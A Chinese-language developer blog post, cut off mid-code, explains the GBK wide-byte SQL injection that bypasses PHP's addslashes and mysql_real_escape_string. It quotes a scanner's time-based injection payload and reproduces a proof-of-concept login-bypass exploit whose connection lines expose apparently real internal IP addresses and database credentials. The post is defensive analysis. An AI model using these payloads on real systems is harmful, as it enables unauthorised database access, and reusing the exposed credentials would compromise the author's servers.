PHP字符编码绕过漏洞--addslashes、mysql_real_escape漏洞
在上次活动开发过程中，有个程序写了下面这样的语句：

$sName = $_GET['name'];
$sName = addslashes($sName);
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';";
var_dump($sql); 
exit();

结果扫描工具一扫描，发现问题来了，被扫除了SQL注入漏洞，而且还引发了整个数据表被锁住（备注：见第二部分）

检查安全中心扫描日志发现：
当SQL输入为：
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
的时候引发了SQL注入。
//这里输出：
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41?\\\' or sleep(10.10)=0 limit 1#%';"


根本原因是addslash对于字符%BF%27的漏洞。


该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过  addslashes()  转换后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触发了。
          mysql_real_escape_string() 也存在相同的问题，只不过相比  addslashes() 它考虑到了用什么字符集来处理，因此可以用相应的字符集来处理字符。
在MySQL中有两种改变默认字符集的方法。
方法一：
改变mysql配置文件my.cnf
 [client]
default-character-set=GBK


方法二：
在建立连接时使用
CODE:
SET  CHARACTER  SET  'GBK'
例：mysql_query("SET  CHARACTER  SET  'gbk'",  $c);或者
mysql_query(“SET NAMES ‘GBK’”, $c);


问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和  addslashes()  一样的漏洞（备注：这句话是摘抄的，我也没看懂）


网络上查询到有人说：
当mysql_real_escape_string检测到的编码方式跟client设置的编码方式(big5/bgk)不一致时，mysql_real_escape_string跟addslashes是没有区别的  
比如  
[client]  
default-character-set=latin1  


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn);  
这种情况下mysql_real_escape_string  是基于  latin1工作的，是不安全的  


[client]  
default-character-set=gbk  


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn);  
这种情况下，mysql_real_escape_string  基于  gbk  工作，是正常的  


但是，这里我108、153上验证的都不成功：
用12机器的php文件在108机器mysql上，查询到


在153链接测试环境CDB结点：
 
执行来自：
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php
//$c  =  mysql_connect("localhost",  "user",  "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);


//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);


mysql_select_db("database",  $c);


//  change  our  character  set
mysql_query("SET  CHARACTER  SET  'gbk'",  $c);


//  create  demo  table
mysql_query("CREATE  TABLE  users  (
        username  VARCHAR(32)  PRIMARY  KEY,
        password  VARCHAR(32)
)  CHARACTER  SET  'GBK'",  $c);
mysql_query("INSERT  INTO  users  VALUES('foo','bar'),  ('baz','test')",  $c);


//  now  the  exploit  code
$_POST['username']  =  chr(0xbf)  .  chr(0x27)  .  '  OR  username  =  username  #';  
$_POST['password']  =  'anything';  


//  Proper  escaping,  we  should  be  safe,  right?
$user  =  mysql_real_escape_string($_POST['username'],  $c);
$passwd  =  mysql_real_escape_string($_POST['password'],  $c);


$sql  =  "SELECT  *  FROM    users  WHERE    username